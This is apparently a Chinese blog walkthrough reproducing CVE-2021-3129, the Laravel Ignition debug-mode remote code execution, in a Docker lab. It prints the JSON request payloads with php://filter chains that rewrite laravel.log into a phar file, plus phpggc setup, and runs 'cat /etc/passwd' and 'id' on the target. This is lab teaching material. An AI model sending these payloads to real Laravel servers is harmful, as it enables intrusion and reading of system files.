IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CVE-2021-3129漏洞复现 -> 正文阅读

[PHP知识库]CVE-2021-3129漏洞复现

1、 漏洞概述

Laravel自带的Ignition 组件在开启了Debug模式时,file_get_contents()和file_put_contents()函数使用存在不安全的可能性,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

?默认情况下,laravel的日志文件是放置在storage/logs/laravel.log文件下,用来储存一些PHP的错误和一些堆栈追踪的相关信息。此时可以通过对该日志文件进行写操作,从而将该log文件变成恶意的phar文件。

影响版本

?Laravel < 8.4.3
?facade ignition < 2.5.2

2、复现过程

2.1、 拉取容器

DockerHub上有该漏洞对应的环境

直接拉取镜像

启动环境 sudo docker run -d -p 8080:80 vulfocus/laravel-cve_2021_3129

靶机端 浏览器可正常访问

攻击机端也可通过http://靶机ip:8080访问

2.2、 准备工作

安装工具phpggc

sudo git clone https://github.com/ambionics/phpggc.git

赋予执行权限

sudo chmod 777 phpggc/phpggc

该工具的作用是:在laravel的依赖里面找一条能够rce的链,如monolog/rce1。生成对应的phar文件,并将phar文件base64编码

命令cat /etc/passwd的base64编码

2.3、 攻击

2.3.1、 开启Debug模式

burpsuite抓取一个数据包,按照下图的形式修改并发送数据包?

服务器返回数据(在response窗口下点击render按键可查看)

页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式

2.3.2、 发送数据包,将原日志文件清空

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

# 参考资料见文末

2.3.3、 给log添加前缀AA,用于对齐

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "AA"
 }
}

#参考资料见文末

2.3.4、 把准备工作中生成的base64编码的POC文件放入viewfile中发送,并且在最后加上一个a,用于保证log中只有一个POC生成并发挥作用

2.3.5、 清除干扰字符准备进行反序列化

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }

#参考资料见文末

可以在靶机端进入容器中,查看当前log的状态

=========================

注:进入容器的命令为

sudo docker exec -it container-id /bin/bash

其中container-id可以通过命令sudo docker ps查看,最左端显示该容器的id)

由于该镜像的log默认在storage/logs/laravel.log,故找到对应文件夹后

===========================

查看log的命令为:

cat laravel.log

可以看到log中只留下了POC

2.3.6、 使用phar://进行反序列话,执行代码

在response中查找,可以看到返回了/etc/passwd的内容

特别注意:在涉及到对log的修改时,response的状态都不是200ok。

补充:

也可以执行其他指令,如:

命令: id

生成的POC

返回的数据

3、 参考资料

https://cloud.tencent.com/developer/article/1797520https://cloud.tencent.com/developer/article/1797520https://www.freebuf.com/vuls/280508.htmlhttps://www.freebuf.com/vuls/280508.htmlhttps://reader-l.github.io/2021/05/19/CVE-2021-3129-Laravel-DebugModeRce%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/https://reader-l.github.io/2021/05/19/CVE-2021-3129-Laravel-DebugModeRce%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/https://zhuanlan.zhihu.com/p/351363561https://zhuanlan.zhihu.com/p/351363561https://tari.moe/2021/06/03/laravel8-debug-rce/https://tari.moe/2021/06/03/laravel8-debug-rce/https://www.cnblogs.com/yesec/p/15139720.htmlhttps://www.cnblogs.com/yesec/p/15139720.htmlhttps://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0ghttps://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g

声明:

本文章仅用于学习交流,严禁非法用途

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-16 12:49:24  更:2022-01-16 12:49:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 15:04:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码